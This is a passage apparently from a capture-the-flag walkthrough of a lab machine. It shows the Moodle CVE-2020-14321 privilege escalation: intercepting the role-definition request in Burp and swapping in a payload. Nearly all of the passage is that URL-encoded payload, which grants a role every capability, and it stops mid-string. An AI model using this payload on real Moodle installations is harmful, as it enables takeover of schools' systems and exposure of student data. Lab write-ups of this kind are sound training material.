 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1918.jpg)

Go Define roles

Intercept the Request in Burp And Edits all the roles
Copy the payload from [CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)

``` bash
&return=manage&resettype=none&shortname=manager&name=&description=&archetype=manager&contextlevel10=0&contextlevel10=1&contextlevel30=0&contextlevel30=1&contextlevel40=0&contextlevel40=1&contextlevel50=0&contextlevel50=1&contextlevel70=0&contextlevel70=1&contextlevel80=0&contextlevel80=1&allowassign%5B%5D=&allowassign%5B%5D=1&allowassign%5B%5D=2&allowassign%5B%5D=3&allowassign%5B%5D=4&allowassign%5B%5D=5&allowassign%5B%5D=6&allowassign%5B%5D=7&allowassign%5B%5D=8&allowoverride%5B%5D=&allowoverride%5B%5D=1&allowoverride%5B%5D=2&allowoverride%5B%5D=3&allowoverride%5B%5D=4&allowoverride%5B%5D=5&allowoverride%5B%5D=6&allowoverride%5B%5D=7&allowoverride%5B%5D=8&allowswitch%5B%5D=&allowswitch%5B%5D=1&allowswitch%5B%5D=2&allowswitch%5B%5D=3&allowswitch%5B%5D=4&allowswitch%5B%5D=5&allowswitch%5B%5D=6&allowswitch%5B%5D=7&allowswitch%5B%5D=8&allowview%5B%5D=&allowview%5B%5D=1&allowview%5B%5D=2&allowview%5B%5D=3&allowview%5B%5D=4&allowview%5B%5D=5&allowview%5B%5D=6&allowview%5B%5D=7&allowview%5B%5D=8&block%2Fadmin_bookmarks%3Amyaddinstance=1&block%2Fbadges%3Amyaddinstance=1&block%2Fcalendar_month%3Amyaddinstance=1&block%2Fcalendar_upcoming%3Amyaddinstance=1&block%2Fcomments%3Amyaddinstance=1&block%2Fcourse_list%3Amyaddinstance=1&block%2Fglobalsearch%3Amyaddinstance=1&block%2Fglossary_random%3Amyaddinstance=1&block%2Fhtml%3Amyaddinstance=1&block%2Flp%3Aaddinstance=1&block%2Flp%3Amyaddinstance=1&block%2Fmentees%3Amyaddinstance=1&block%2Fmnet_hosts%3Amyaddinstance=1&block%2Fmyoverview%3Amyaddinstance=1&block%2Fmyprofile%3Amyaddinstance=1&block%2Fnavigation%3Amyaddinstance=1&block%2Fnews_items%3Amyaddinstance=1&block%2Fonline_users%3Amyaddinstance=1&block%2Fprivate_files%3Amyaddinstance=1&block%2Frecentlyaccessedcourses%3Amyaddinstance=1&block%2Frecentlyaccesseditems%3Amyaddinstance=1&block%2Frss_client%3Amyaddinstance=1&block%2Fsettings%3Amyaddinstance=1&block%2Fstarredcourses%3Amyaddinstance=1&block%2Ftags%3Amyaddinstance=1&block%2Ftimeline%3Amyaddinstance=1&enrol%2Fcategory%3Asynchronised=1&message%2Fairnotifier%3Amanagedevice=1&moodle%2Fanalytics%3Alistowninsights=1&moodle%2Fanalytics%3Amanagemodels=1&moodle%2Fbadges%3Amanageglobalsettings=1&moodle%2Fblog%3Acreate=1&moodle%2Fblog%3Amanageentries=1&moodle%2Fblog%3Amanageexternal=1&moodle%2Fblog%3Asearch=1&moodle%2Fblog%3Aview=1&moodle%2Fblog%3Aviewdrafts=1&moodle%2Fcourse%3Aconfigurecustomfields=1&moodle%2Fcourse%3Arecommendactivity=1&moodle%2Fgrade%3Amanagesharedforms=1&moodle%2Fgrade%3Asharegradingforms=1&moodle%2Fmy%3Aconfigsyspages=1&moodle%2Fmy%3Amanageblocks=1&moodle%2Fportfolio%3Aexport=1&moodle%2Fquestion%3Aconfig=1&moodle%2Frestore%3Acreateuser=1&moodle%2Frole%3Amanage=1&moodle%2Fsearch%3Aquery=1&moodle%2Fsite%3Aconfig=1&moodle%2Fsite%3Aconfigview=1&moodle%2Fsite%3Adeleteanymessage=1&moodle%2Fsite%3Adeleteownmessage=1&moodle%2Fsite%3Adoclinks=1&moodle%2Fsite%3Aforcelanguage=1&moodle%2Fsite%3Amaintenanceaccess=1&moodle%2Fsite%3Amanageallmessaging=1&moodle%2Fsite%3Amessageanyuser=1&moodle%2Fsite%3Amnetlogintoremote=1&moodle%2Fsite%3Areadallmessages=1&moodle%2Fsite%3Asendmessage=1&moodle%2Fsite%3Auploadusers=1&moodle%2Fsite%3Aviewparticipants=1&moodle%2Ftag%3Aedit=1&moodle%2Ftag%3Aeditblocks=1&moodle%2Ftag%3Aflag=1&moodle%2Ftag%3Amanage=1&moodle%2Fuser%3Achangeownpassword=1&moodle%2Fuser%3Acreate=1&moodle%2Fuser%3Adelete=1&moodle%2Fuser%3Aeditownmessageprofile=1&moodle%2Fuser%3Aeditownprofile=1&moodle%2Fuser%3Aignoreuserquota=1&moodle%2Fuser%3Amanageownblocks=1&moodle%2Fuser%3Amanageownfiles=1&moodle%2Fuser%3Amanagesyspages=1&moodle%2Fuser%3Aupdate=1&moodle%2Fwebservice%3Acreatemobiletoken=1&moodle%2Fwebservice%3Acreatetoken=1&moodle%2Fwebservice%3Amanagealltokens=1&quizaccess%2Fseb%3Amanagetemplates=1&report%2Fcourseoverview%3Aview=1&report%2Fperformance%3Aview=1&report%2Fquestioninstances%3Aview=1&report%2Fsecurity%3Aview=1&report%2Fstatus%3Aview=1&tool%2Fcustomlang%3Aedit=1&tool%2Fcustomlang%3Aview=1&tool%2Fdataprivacy%3Amanagedataregistry=1&tool%2Fdataprivacy%3Amanagedatarequests=1&tool%2Fdataprivacy%3Arequestdeleteforotheruser=1&tool%2Flpmigrate%3Aframeworksmigrate=1&tool%2Fmonitor%3Amanagetool=1&tool%2Fpolicy%3Aaccept=1&tool%2Fpolicy%3Amanagedocs=1&tool%2Fpolicy%3Aviewacceptances=1&tool%2Fuploaduser%3Auploaduserpictures=1&tool%2Fusertours%3Amanagetours=1&auth%2Foauth2%3Amanagelinkedlogins=1&moodle%2Fbadges%3Amanageownbadges=1&moodle%2Fbadges%3Aviewotherbadges=1&moodle%2Fcompetency%3Aevidencedelete=1&moodle%2Fcompetency%3Aplancomment=1&moodle%2Fcompetency%3Aplancommentown=1&moodle%2Fcompetency%3Aplanmanage=1&moodle%2Fcompetency%3Aplanmanagedraft=1&moodle%2Fcompetency%3Aplanmanageown=1&moodle%2Fcompetency%3Aplanmanageowndraft=1&moodle%2Fcompetency%3Aplanrequestreview=1&moodle%2Fcompetency%3Aplanrequestreviewown=1&moodle%2Fcompetency%3Aplanreview=1&moodle%2Fcompetency%3Aplanview=1&moodle%2Fcompetency%3Aplanviewdraft=1&moodle%2Fcompetency%3Aplanviewown=1&moodle%2Fcompetency%3Aplanviewowndraft=1&moodle%2Fcompetency%3Ausercompetencycomment=1&moodle%2Fcompetency%3Ausercompetencycommentown=1&moodle%2Fcompetency%3Ausercompetencyrequestreview=1&moodle%2Fcompetency%3Ausercompetencyrequestreviewown=1&moodle%2Fcompetency%3Ausercompetencyreview=1&moodle%2Fcompetency%3Ausercompetencyview=1&moodle%2Fcompetency%3Auserevidencemanage=1&moodle%2Fcompetency%3Auserevidencemanageown=0&moodle%2Fcompetency%3Auserevidenceview=1&moodle%2Fuser%3Aeditmessageprofile=1&moodle%2Fuser%3Aeditprofile=1&moodle%2Fuser%3Amanageblocks=1&moodle%2Fuser%3Areaduserblogs=1&moodle%2Fuser%3Areaduserposts=1&moodle%2Fuser%3Aviewalldetails=1&moodle%2Fuser%3Aviewlastip=1&moodle%2Fuser%3Aviewuseractivitiesreport=1&report%2Fusersessions%3Amanageownsessions=1&tool%2Fdataprivacy%3Adownloadallrequests=1&tool%2Fdataprivacy%3Adownloadownrequest=1&tool%2Fdataprivacy%3Amakedatadeletionrequestsforchildren=1&tool%2Fdataprivacy%3Amakedatarequestsforchildren=1&tool%2Fdataprivacy%3Arequestdelete=1&tool%2Fpolicy%3Aacceptbehalf=1&moodle%2Fcategory%3Amanage=1&moodle%2Fcategory%3Aviewcourselist=1&moodle%2Fcategory%3Aviewhiddencategories=1&moodle%2Fcohort%3Aassign=1&moodle%2Fcohort%3Amanage=1&moodle%2Fcompetency%3Acompetencymanage=1&moodle%2Fcompetency%3Acompetencyview=1&moodle%2Fcompetency%3Atemplatemanage=1&moodle%2Fcompetency%3Atemplateview=1&moodle%2Fcourse%3Acreate=1&moodle%2Fcourse%3Arequest=1&moodle%2Fsite%3Aapprovecourse=1&repository%2Fcontentbank%3Aaccesscoursecategorycontent=1&repository%2Fcontentbank%3Aaccessgeneralcontent=1&block%2Frecent_activity%3Aviewaddupdatemodule=1&block%2Frecent_activity%3Aviewdeletemodule=1&contenttype%2Fh5p%3Aaccess=1&contenttype%2Fh5p%3Aupload=1&contenttype%2Fh5p%3Auseeditor=1&enrol%2Fcategory%3Aconfig=1&enrol%2Fcohort%3Aconfig=1&enrol%2Fcohort%3Aunenrol=1&enrol%2Fdatabase%3Aconfig=1&enrol%2Fdatabase%3Aunenrol=1&enrol%2Fflatfile%3Amanage=1&enrol%2Fflatfile%3Aunenrol=1&enrol%2Fguest%3Aconfig=1&enrol%2Fimsenterprise%3Aconfig=1&enrol%2Fldap%3Amanage=1&enrol%2Flti%3Aconfig=1&enrol%2Flti%3Aunenrol=1&enrol%2Fmanual%3Aconfig=1&enrol%2Fmanual%3Aenrol=1&enrol%2Fmanual%3Amanage=1&enrol%2Fmanual%3Aunenrol=1&enrol%2Fmanual%3Aunenrolself=1&enrol%2Fmeta%3Aconfig=1&enrol%2Fmeta%3Aselectaslinked=1&enrol%2Fmeta%3Aunenrol=1&enrol%2Fmnet%3Aconfig=1&enrol%2Fpaypal%3Aconfig=1&enrol%2Fpaypal%3Amanage=1&enrol%2Fpaypal%3Aunenrol=1&enrol%2Fpaypal%3Aunenrolself=1&enrol%2Fself%3Aconfig=1&enrol%2Fself%3Aholdkey=1&enrol%2Fself%3Amanage=1&enrol%2Fself%3Aunenrol=1&enrol%2Fself%3Aunenrolself=1&gradeexport%2Fods%3Apublish=1&gradeexport%2Fods%3Aview=1&gradeexport%2Ftxt%3Apublish=1&gradeexport%2Ftxt%3Aview=1&gradeexport%2Fxls%3Apublish=1&gradeexport%2Fxls%3Aview=1&gradeexport%2Fxml%3Apublish=1&gradeexport%2Fxml%3Aview=1&gradeimport%2Fcsv%3Aview=1&gradeimport%2Fdirect%3Aview=1&gradeimport%2Fxml%3Apublish=1&gradeimport%2Fxml%3Aview=1&gradereport%2Fgrader%3Aview=1&gradereport%2Fhistory%3Aview=1&gradereport%2Foutcomes%3Aview=1&gradereport%2Foverview%3Aview=1&gradereport%2Fsingleview%3Aview=1&gradereport%2Fuser%3Aview=1&mod%2Fassign%3Aaddinstance=1&mod%2Fassignment%3Aaddinstance=1&mod%2Fbook%3Aaddinstance=1&mod%2Fchat%3Aaddinstance=1&mod%2Fchoice%3Aaddinstance=1&mod%2Fdata%3Aaddinstance=1&mod%2Ffeedback%3Aaddinstance=1&mod%2Ffolder%3Aaddinstance=1&mod%2Fforum%3Aaddinstance=1&mod%2Fglossary%3Aaddinstance=1&mod%2Fh5pactivity%3Aaddinstance=1&mod%2Fimscp%3Aaddinstance=1&mod%2Flabel%3Aaddinstance=1&mod%2Flesson%3Aaddinstance=1&mod%2Flti%3Aaddcoursetool=1&mod%2Flti%3Aaddinstance=1&mod%2Flti%3Aaddmanualinstance=1&mod%2Flti%3Aaddpreconfiguredinstance=1&mod%2Flti%3Arequesttooladd=1&mod%2Fpage%3Aaddinstance=1&mod%2Fquiz%3Aaddinstance=1&mod%2Fresource%3Aaddinstance=1&mod%2Fscorm%3Aaddinstance=1&mod%2Fsurvey%3Aaddinstance=1&mod%2Furl%3Aaddinstance=1&mod%2Fwiki%3Aaddinstance=1&mod%2Fworkshop%3Aaddinstance=1&moodle%2Fanalytics%3Alistinsights=1&moodle%2Fbackup%3Aanonymise=1&moodle%2Fbackup%3Abackupcourse=1&moodle%2Fbackup%3Abackupsection=1&moodle%2Fbackup%3Abackuptargetimport=1&moodle%2Fbackup%3Aconfigure=1&moodle%2Fbackup%3Adownloadfile=1&moodle%2Fbackup%3Auserinfo=1&moodle%2Fbadges%3Aawardbadge=1&moodle%2Fbadges%3Aconfigurecriteria=1&moodle%2Fbadges%3Aconfiguredetails=1&moodle%2Fbadges%3Aconfiguremessages=1&moodle%2Fbadges%3Acreatebadge=1&moodle%2Fbadges%3Adeletebadge=1&moodle%2Fbadges%3Aearnbadge=1&moodle%2Fbadges%3Arevokebadge=1&moodle%2Fbadges%3Aviewawarded=1&moodle%2Fbadges%3Aviewbadges=1&moodle%2Fcalendar%3Amanageentries=1&moodle%2Fcalendar%3Amanagegroupentries=1&moodle%2Fcalendar%3Amanageownentries=1&moodle%2Fcohort%3Aview=1&moodle%2Fcomment%3Adelete=1&moodle%2Fcomment%3Apost=1&moodle%2Fcomment%3Aview=1&moodle%2Fcompetency%3Acompetencygrade=1&moodle%2Fcompetency%3Acoursecompetencygradable=1&moodle%2Fcompetency%3Acoursecompetencymanage=1&moodle%2Fcompetency%3Acoursecompetencyview=1&moodle%2Fcontentbank%3Aaccess=1&moodle%2Fcontentbank%3Adeleteanycontent=1&moodle%2Fcontentbank%3Adeleteowncontent=1&moodle%2Fcontentbank%3Amanageanycontent=1&moodle%2Fcontentbank%3Amanageowncontent=1&moodle%2Fcontentbank%3Aupload=1&moodle%2Fcontentbank%3Auseeditor=1&moodle%2Fcourse%3Abulkmessaging=1&moodle%2Fcourse%3Achangecategory=1&moodle%2Fcourse%3Achangefullname=1&moodle%2Fcourse%3Achangeidnumber=1&moodle%2Fcourse%3Achangelockedcustomfields=1&moodle%2Fcourse%3Achangeshortname=1&moodle%2Fcourse%3Achangesummary=1&moodle%2Fcourse%3Acreategroupconversations=1&moodle%2Fcourse%3Adelete=1&moodle%2Fcourse%3Aenrolconfig=1&moodle%2Fcourse%3Aenrolreview=1&moodle%2Fcourse%3Aignorefilesizelimits=1&moodle%2Fcourse%3Aisincompletionreports=1&moodle%2Fcourse%3Amanagefiles=1&moodle%2Fcourse%3Amanagegroups=1&moodle%2Fcourse%3Amanagescales=1&moodle%2Fcourse%3Amarkcomplete=1&moodle%2Fcourse%3Amovesections=1&moodle%2Fcourse%3Aoverridecompletion=1&moodle%2Fcourse%3Arenameroles=1&moodle%2Fcourse%3Areset=1&moodle%2Fcourse%3Areviewotherusers=1&moodle%2Fcourse%3Asectionvisibility=1&moodle%2Fcourse%3Asetcurrentsection=1&moodle%2Fcourse%3Asetforcedlanguage=1&moodle%2Fcourse%3Atag=1&moodle%2Fcourse%3Aupdate=1&moodle%2Fcourse%3Auseremail=1&moodle%2Fcourse%3Aview=1&moodle%2Fcourse%3Aviewhiddencourses=1&moodle%2Fcourse%3Aviewhiddensections=1&moodle%2Fcourse%3Aviewhiddenuserfields=1&moodle%2Fcourse%3Aviewparticipants=1&moodle%2Fcourse%3Aviewscales=1&moodle%2Fcourse%3Aviewsuspendedusers=1&moodle%2Fcourse%3Avisibility=1&moodle%2Ffilter%3Amanage=1&moodle%2Fgrade%3Aedit=1&moodle%2Fgrade%3Aexport=1&moodle%2Fgrade%3Ahide=1&moodle%2Fgrade%3Aimport=1&moodle%2Fgrade%3Alock=1&moodle%2Fgrade%3Amanage=1&moodle%2Fgrade%3Amanagegradingforms=1&moodle%2Fgrade%3Amanageletters=1&moodle%2Fgrade%3Amanageoutcomes=1&moodle%2Fgrade%3Aunlock=1&moodle%2Fgrade%3Aview=1&moodle%2Fgrade%3Aviewall=1&moodle%2Fgrade%3Aviewhidden=1&moodle%2Fnotes%3Amanage=1&moodle%2Fnotes%3Aview=1&moodle%2Fquestion%3Aadd=1&moodle%2Fquestion%3Aeditall=1&moodle%2Fquestion%3Aeditmine=1&moodle%2Fquestion%3Aflag=1&moodle%2Fquestion%3Amanagecategory=1&moodle%2Fquestion%3Amoveall=1&moodle%2Fquestion%3Amovemine=1&moodle%2Fquestion%3Atagall=1&moodle%2Fquestion%3Atagmine=1&moodle%2Fquestion%3Auseall=1&moodle%2Fquestion%3Ausemine=1&moodle%2Fquestion%3Aviewall=1&moodle%2Fquestion%3Aviewmine=1&moodle%2Frating%3Arate=1&moodle%2Frating%3Aview=1&moodle%2Frating%3Aviewall=1&moodle%2Frating%3Aviewany=1&moodle%2Frestore%3Aconfigure=1&moodle%2Frestore%3Arestoreactivity=1&moodle%2Frestore%3Arestorecourse=1&moodle%2Frestore%3Arestoresection=1&moodle%2Frestore%3Arestoretargetimport=1&moodle%2Frestore%3Arolldates=1&moodle%2Frestore%3Auploadfile=1&moodle%2Frestore%3Auserinfo=1&moodle%2Frestore%3Aviewautomatedfilearea=1&moodle%2Frole%3Aassign=1&moodle%2Frole%3Aoverride=1&moodle%2Frole%3Areview=1&moodle%2Frole%3Asafeoverride=1&moodle%2Frole%3Aswitchroles=1&moodle%2Fsite%3Aviewreports=1&moodle%2Fuser%3Aloginas=1&moodle%2Fuser%3Aviewdetails=1&moodle%2Fuser%3Aviewhiddendetails=1&report%2Fcompletion%3Aview=1&report%2Flog%3Aview=1&report%2Flog%3Aviewtoday=1&report%2Floglive%3Aview=1&report%2Foutline%3Aview=1&report%2Foutline%3Aviewuserreport=1&report%2Fparticipation%3Aview=1&report%2Fprogress%3Aview=1&report%2Fstats%3Aview=1&repository%2Fcontentbank%3Aaccesscoursecontent=1&tool%2Fmonitor%3Amanagerules=1&tool%2Fmonitor%3Asubscribe=1&tool%2Frecyclebin%3Adeleteitems=1&tool%2Frecyclebin%3Arestoreitems=1&tool%2Frecyclebin%3Aviewitems=1&webservice%2Frest%3Ause=1&webservice%2Fsoap%3Ause=1&webservice%2Fxmlrpc%3Ause=1&atto%2Fh5p%3Aaddembed=1&atto%2Frecordrtc%3Arecordaudio=1&atto%2Frecordrtc%3Arecordvideo=1&booktool%2Fexportimscp%3Aexport=1&booktool%2Fimporthtml%3Aimport=1&booktool%2Fprint%3Aprint=1&forumreport%2Fsummary%3Aview=1&forumreport%2Fsummary%3Aviewall=1&mod%2Fassign%3Aeditothersubmission=1&mod%2Fassign%3Aexportownsubmission=1&mod%2Fassign%3Agrade=1&mod%2Fassign%3Agrantextension=1&mod%2Fassign%3Amanageallocations=1&mod%2Fassign%3Amanagegrades=1&mod%2Fassign%3Amanageoverrides=1&mod%2Fassign%3Areceivegradernotifications=1&mod%2Fassign%3Areleasegrades=1&mod%2Fassign%3Arevealidentities=1&mod%2Fassign%3Areviewgrades=1&mod%2Fassign%3Ashowhiddengrader=1&mod%2Fassign%3Asubmit=1&mod%2Fassign%3Aview=1&mod%2Fassign%3Aviewblinddetails=1&mod%2Fassign%3Aviewgrades=1&mod%2Fassignment%3Aexportownsubmission=1&mod%2Fassignment%3Agrade=1&mod%2Fassignment%3Asubmit=1&mod%2Fassignment%3Aview=1&mod%2Fbook%3Aedit=1&mod%2Fbook%3Aread=1&mod%2Fbook%3Aviewhiddenchapters=1&mod%2Fchat%3Achat=1&mod%2Fchat%3Adeletelog=1&mod%2Fchat%3Aexportparticipatedsession=1&mod%2Fchat%3Aexportsession=1&mod%2Fchat%3Areadlog=1&mod%2Fchat%3Aview=1&mod%2Fchoice%3Achoose=1&mod%2Fchoice%3Adeleteresponses=1&mod%2Fchoice%3Adownloadresponses=1&mod%2Fchoice%3Areadresponses=1&mod%2Fchoice%3Aview=1&mod%2Fdata%3Aapprove=1&mod%2Fdata%3Acomment=1&mod%2Fdata%3Aexportallentries=1&mod%2Fdata%3Aexportentry=1&mod%2Fdata%3Aexportownentry=1&mod%2Fdata%3Aexportuserinfo=1&mod%2Fdata%3Amanagecomments=1&mod%2Fdata%3Amanageentries=1&mod%2Fdata%3Amanagetemplates=1&mod%2Fdata%3Amanageuserpresets=1&mod%2Fdata%3Arate=1&mod%2Fdata%3Aview=1&mod%2Fdata%3Aviewallratings=1&mod%2Fdata%3Aviewalluserpresets=1&mod%2Fdata%3Aviewanyrating=1&mod%2Fdata%3Aviewentry=1&mod%2Fdata%3Aviewrating=1&mod%2Fdata%3Awriteentry=1&mod%2Ffeedback%3Acomplete=1&mod%2Ffeedback%3Acreateprivatetemplate=1&mod%2Ffeedback%3Acreatepublictemplate=1&mod%2Ffeedback%3Adeletesubmissions=1&mod%2Ffeedback%3Adeletetemplate=1&mod%2Ffeedback%3Aedititems=1&mod%2Ffeedback%3Amapcourse=1&mod%2Ffeedback%3Areceivemail=1&mod%2Ffeedback%3Aview=1&mod%2Ffeedback%3Aviewanalysepage=1&mod%2Ffeedback%3Aviewreports=1&mod%2Ffolder%3Amanagefiles=1&mod%2Ffolder%3Aview=1&mod%2Fforum%3Aaddnews=1&mod%2Fforum%3Aaddquestion=1&mod%2Fforum%3Aallowforcesubscribe=1&mod%2Fforum%3Acanoverridecutoff=1&mod%2Fforum%3Acanoverridediscussionlock=1&mod%2Fforum%3Acanposttomygroups=1&mod%2Fforum%3Acantogglefavourite=1&mod%2Fforum%3Acreateattachment=1&mod%2Fforum%3Adeleteanypost=1&mod%2Fforum%3Adeleteownpost=1&mod%2Fforum%3Aeditanypost=1&mod%2Fforum%3Aexportdiscussion=1&mod%2Fforum%3Aexportforum=1&mod%2Fforum%3Aexportownpost=1&mod%2Fforum%3Aexportpost=1&mod%2Fforum%3Agrade=1&mod%2Fforum%3Amanagesubscriptions=1&mod%2Fforum%3Amovediscussions=1&mod%2Fforum%3Apindiscussions=1&mod%2Fforum%3Apostprivatereply=1&mod%2Fforum%3Apostwithoutthrottling=1&mod%2Fforum%3Arate=1&mod%2Fforum%3Areadprivatereplies=1&mod%2Fforum%3Areplynews=1&mod%2Fforum%3Areplypost=1&mod%2Fforum%3Asplitdiscussions=1&mod%2Fforum%3Astartdiscussion=1&mod%2Fforum%3Aviewallratings=1&mod%2Fforum%3Aviewanyrating=1&mod%2Fforum%3Aviewdiscussion=1&mod%2Fforum%3Aviewhiddentimedposts=1&mod%2Fforum%3Aviewqandawithoutposting=1&mod%2Fforum%3Aviewrating=1&mod%2Fforum%3Aviewsubscribers=1&mod%2Fglossary%3Aapprove=1&mod%2Fglossary%3Acomment=1&mod%2Fglossary%3Aexport=1&mod%2Fglossary%3Aexportentry=1&mod%2Fglossary%3Aexportownentry=1&mod%2Fglossary%3Aimport=1&mod%2Fglossary%3Amanagecategories=1&mod%2Fglossary%3Amanagecomments=1&mod%2Fglossary%3Amanageentries=1&mod%2Fglossary%3Arate=1&mod%2Fglossary%3Aview=1&mod%2Fglossary%3Aviewallratings=1&mod%2Fglossary%3Aviewanyrating=1&mod%2Fglossary%3Aviewrating=1&mod%2Fglossary%3Awrite=1&mod%2Fh5pactivity%3Areviewattempts=1&mod%2Fh5pactivity%3Asubmit=1&mod%2Fh5pactivity%3Aview=1&mod%2Fimscp%3Aview=1&mod%2Flabel%3Aview=1&mod%2Flesson%3Aedit=1&mod%2Flesson%3Agrade=1&mod%2Flesson%3Amanage=1&mod%2Flesson%3Amanageoverrides=1&mod%2Flesson%3Aview=1&mod%2Flesson%3Aviewreports=1&mod%2Flti%3Aadmin=1&mod%2Flti%3Amanage=1&mod%2Flti%3Aview=1&mod%2Fpage%3Aview=1&mod%2Fquiz%3Aattempt=1&mod%2Fquiz%3Adeleteattempts=1&mod%2Fquiz%3Aemailconfirmsubmission=1&mod%2Fquiz%3Aemailnotifysubmission=1&mod%2Fquiz%3Aemailwarnoverdue=1&mod%2Fquiz%3Agrade=1&mod%2Fquiz%3Aignoretimelimits=1&mod%2Fquiz%3Amanage=1&mod%2Fquiz%3Amanageoverrides=1&mod%2Fquiz%3Apreview=1&mod%2Fquiz%3Aregrade=1&mod%2Fquiz%3Areviewmyattempts=1&mod%2Fquiz%3Aview=1&mod%2Fquiz%3Aviewreports=1&mod%2Fresource%3Aview=1&mod%2Fscorm%3Adeleteownresponses=1&mod%2Fscorm%3Adeleteresponses=1&mod%2Fscorm%3Asavetrack=1&mod%2Fscorm%3Askipview=1&mod%2Fscorm%3Aviewreport=1&mod%2Fscorm%3Aviewscores=1&mod%2Fsurvey%3Adownload=1&mod%2Fsurvey%3Aparticipate=1&mod%2Fsurvey%3Areadresponses=1&mod%2Furl%3Aview=1&mod%2Fwiki%3Acreatepage=1&mod%2Fwiki%3Aeditcomment=1&mod%2Fwiki%3Aeditpage=1&mod%2Fwiki%3Amanagecomment=1&mod%2Fwiki%3Amanagefiles=1&mod%2Fwiki%3Amanagewiki=1&mod%2Fwiki%3Aoverridelock=1&mod%2Fwiki%3Aviewcomment=1&mod%2Fwiki%3Aviewpage=1&mod%2Fworkshop%3Aallocate=1&mod%2Fworkshop%3Adeletesubmissions=1&mod%2Fworkshop%3Aeditdimensions=1&mod%2Fworkshop%3Aexportsubmissions=1&mod%2Fworkshop%3Aignoredeadlines=1&mod%2Fworkshop%3Amanageexamples=1&mod%2Fworkshop%3Aoverridegrades=1&mod%2Fworkshop%3Apeerassess=1&mod%2Fworkshop%3Apublishsubmissions=1&mod%2Fworkshop%3Asubmit=1&mod%2Fworkshop%3Aswitchphase=1&mod%2Fworkshop%3Aview=1&mod%2Fworkshop%3Aviewallassessments=1&mod%2Fworkshop%3Aviewallsubmissions=1&mod%2Fworkshop%3Aviewauthornames=1&mod%2Fworkshop%3Aviewauthorpublished=1&mod%2Fworkshop%3Aviewpublishedsubmissions=1&mod%2Fworkshop%3Aviewreviewernames=1&moodle%2Fbackup%3Abackupactivity=1&moodle%2Fcompetency%3Acoursecompetencyconfigure=1&moodle%2Fcourse%3Aactivityvisibility=1&moodle%2Fcourse%3Aignoreavailabilityrestrictions=1&moodle%2Fcourse%3Amanageactivities=1&moodle%2Fcourse%3Atogglecompletion=1&moodle%2Fcourse%3Aviewhiddenactivities=1&moodle%2Fh5p%3Adeploy=1&moodle%2Fh5p%3Asetdisplayoptions=1&moodle%2Fh5p%3Aupdatelibraries=1&moodle%2Fsite%3Aaccessallgroups=1&moodle%2Fsite%3Amanagecontextlocks=1&moodle%2Fsite%3Atrustcontent=1&moodle%2Fsite%3Aviewanonymousevents=1&moodle%2Fsite%3Aviewfullnames=1&moodle%2Fsite%3Aviewuseridentity=1&quiz%2Fgrading%3Aviewidnumber=1&quiz%2Fgrading%3Aviewstudentnames=1&quiz%2Fstatistics%3Aview=1&quizaccess%2Fseb%3Abypassseb=1&quizaccess%2Fseb%3Amanage_filemanager_sebconfigfile=1&quizaccess%2Fseb%3Amanage_seb_activateurlfiltering=1&quizaccess%2Fseb%3Amanage_seb_allowedbrowserexamkeys=1&quizaccess%2Fseb%3Amanage_seb_allowreloadinexam=1&quizaccess%2Fseb%3Amanage_seb_allowspellchecking=1&quizaccess%2Fseb%3Amanage_seb_allowuserquitseb=1&quizaccess%2Fseb%3Amanage_seb_enableaudiocontrol=1&quizaccess%2Fseb%3Amanage_seb_expressionsallowed=1&quizaccess%2Fseb%3Amanage_seb_expressionsblocked=1&quizaccess%2Fseb%3Amanage_seb_filterembeddedcontent=1&quizaccess%2Fseb%3Amanage_seb_linkquitseb=1&quizaccess%2Fseb%3Amanage_seb_muteonstartup=1&quizaccess%2Fseb%3Amanage_seb_quitpassword=1&quizaccess%2Fseb%3Amanage_seb_regexallowed=1&quizaccess%2Fseb%3Amanage_seb_regexblocked=1&quizaccess%2Fseb%3Amanage_seb_requiresafeexambrowser=1&quizaccess%2Fseb%3Amanage_seb_showkeyboardlayout=1&quizaccess%2Fseb%3Amanage_seb_showreloadbutton=1&quizaccess%2Fseb%3Amanage_seb_showsebdownloadlink=1&quizaccess%2Fseb%3Amanage_seb_showsebtaskbar=1&quizaccess%2Fseb%3Amanage_seb_showtime=1&quizaccess%2Fseb%3Amanage_seb_showwificontrol=1&quizaccess%2Fseb%3Amanage_seb_templateid=1&quizaccess%2Fseb%3Amanage_seb_userconfirmquit=1&repository%2Fareafiles%3Aview=1&repository%2Fboxnet%3Aview=1&repository%2Fcontentbank%3Aview=1&repository%2Fcoursefiles%3Aview=1&repository%2Fdropbox%3Aview=1&repository%2Fequella%3Aview=1&repository%2Ffilesystem%3Aview=1&repository%2Fflickr%3Aview=1&repository%2Fflickr_public%3Aview=1&repository%2Fgoogledocs%3Aview=1&repository%2Flocal%3Aview=1&repository%2Fmerlot%3Aview=0&repository%2Fnextcloud%3Aview=1&repository%2Fonedrive%3Aview=1&repository%2Fpicasa%3Aview=1&repository%2Frecent%3Aview=1&repository%2Fs3%3Aview=1&repository%2Fskydrive%3Aview=1&repository%2Fupload%3Aview=1&repository%2Furl%3Aview=1&repository%2Fuser%3Aview=1&repository%2Fwebdav%3Aview=1&repository%2Fwikimedia%3Aview=1&repository%2Fyoutube%3Aview=1&block%2Factivity_modules%3Aaddinstance=1&block%2Factivity_results%3Aaddinstance=1&block%2Fadmin_bookmarks%3Aaddinstance=1&block%2Fbadges%3Aaddinstance=1&block%2Fblog_menu%3Aaddinstance=1&block%2Fblog_recent%3Aaddinstance=1&block%2Fblog_tags%3Aaddinstance=1&block%2Fcalendar_month%3Aaddinstance=1&block%2Fcalendar_upcoming%3Aaddinstance=1&block%2Fcomments%3Aaddinstance=1&block%2Fcompletionstatus%3Aaddinstance=1&block%2Fcourse_list%3Aaddinstance=1&block%2Fcourse_summary%3Aaddinstance=1&block%2Ffeedback%3Aaddinstance=1&block%2Fglobalsearch%3Aaddinstance=1&block%2Fglossary_random%3Aaddinstance=1&block%2Fhtml%3Aaddinstance=1&block%2Flogin%3Aaddinstance=1&block%2Fmentees%3Aaddinstance=1&block%2Fmnet_hosts%3Aaddinstance=1&block%2Fmyprofile%3Aaddinstance=1&block%2Fnavigation%3Aaddinstance=1&block%2Fnews_items%3Aaddinstance=1&block%2Fonline_users%3Aaddinstance=1&block%2Fonline_users%3Aviewlist=1&block%2Fprivate_files%3Aaddinstance=1&block%2Fquiz_results%3Aaddinstance=1&block%2Frecent_activity%3Aaddinstance=1&block%2Frss_client%3Aaddinstance=1&block%2Frss_client%3Amanageanyfeeds=1&block%2Frss_client%3Amanageownfeeds=1&block%2Fsearch_forums%3Aaddinstance=1&block%2Fsection_links%3Aaddinst